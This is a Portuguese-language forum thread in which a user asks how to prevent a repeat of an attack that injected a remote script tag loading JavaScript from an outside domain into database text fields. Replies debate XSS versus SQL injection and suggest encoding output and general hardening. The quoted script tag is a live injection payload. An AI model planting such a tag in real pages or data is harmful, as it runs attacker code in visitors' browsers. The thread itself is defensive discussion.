Usuário com melhor resposta
Problema Grave se injeção de SQL

Pergunta
-
Olá Pessoal,
Estou com o seguinte problema, sofri uma invasão por um acesso Web que alterou diversas tabelas do banco de dados, em campos do tipo texto, inserindo o script:
<script src=http://www.bigadnet.com/b.js></script>
Alguém já passou por isso? Sabe como posso evitar?
Obs: A base de dados já foi arrumada, o problema é como evitar para sofrer outro ataque novamente.
Obrigada.
Respostas
-
Ana Paula,
Para a prevenção contra ataques SQL Injection e XSS, veja estes links.
http://en.wikipedia.org/wiki/Cross-site_scripting
http://en.wikipedia.org/wiki/SQL_injection
http://msdn.microsoft.com/en-us/library/ms998271.aspx
http://msdn.microsoft.com/en-us/library/aa973813.aspx
[]'s
Weber Ress
- Marcado como Resposta Harley AraujoModerator quarta-feira, 10 de agosto de 2011 15:08
Todas as Respostas
-
Olá Ana Paula,
Na empresa onde trabalho estamos tendo estes problemas, uma das alterações são TRACE do IIS ligado, para que você consiga saber por onde que invadiram, e após saber isto, revise TODOS os seus códigos para a prevenção da mesma....
Mantenha sempre backup da base de dados, e das paginas!
Abraços,
Nícolas Tarzia
Microsoft Student Partner -
Ola,
Pelo que eu entendi vc sofreu um ataque do tipo "Cross Site Scripting" e nao de Sql Injection ,que quer dizer que pra vc evitar esse tipo de ataque vc nao pode deixar a sua aplicação execultar um script que foi inserido por um usuario ,ai existem varias formas de se fazer isso uma bem pratica é converter para HtmlEncode tudo que vc escreve na tela e que foi inserido por um usuario. -
Ana Paula,
Para a prevenção contra ataques SQL Injection e XSS, veja estes links.
http://en.wikipedia.org/wiki/Cross-site_scripting
http://en.wikipedia.org/wiki/SQL_injection
http://msdn.microsoft.com/en-us/library/ms998271.aspx
http://msdn.microsoft.com/en-us/library/aa973813.aspx
[]'s
Weber Ress
- Marcado como Resposta Harley AraujoModerator quarta-feira, 10 de agosto de 2011 15:08
-
Kassiano wrote:
Pelo que eu entendi vc sofreu um ataque do tipo "Cross Site Scripting" e nao de Sql Injection ,que quer dizer que pra vcPela descrição do problema, o ataque XSS foi feito através de SQL Injection, então são dois problemas para resolver...
-
Caio Proiete [MCT] wrote: Pela descrição do problema, o ataque XSS foi feito através de SQL Injection, então são dois problemas para resolver...
Pode até ser que a aplicação estava vulneravel desta maneira , porem acredito que o ataque que ela sofreu foi de xss que independe de qualquer vulnerabilidade no banco de dados, ou seja eu posso estar protegido contra sql injection e estar vulneravel em relação a xss e o contrario tambem vale , eu posso estar protegido conta xss e vulneravel contra sql injection...;
Mas é possivel que aplicação estava vulneravel das duas maneiras...;
att;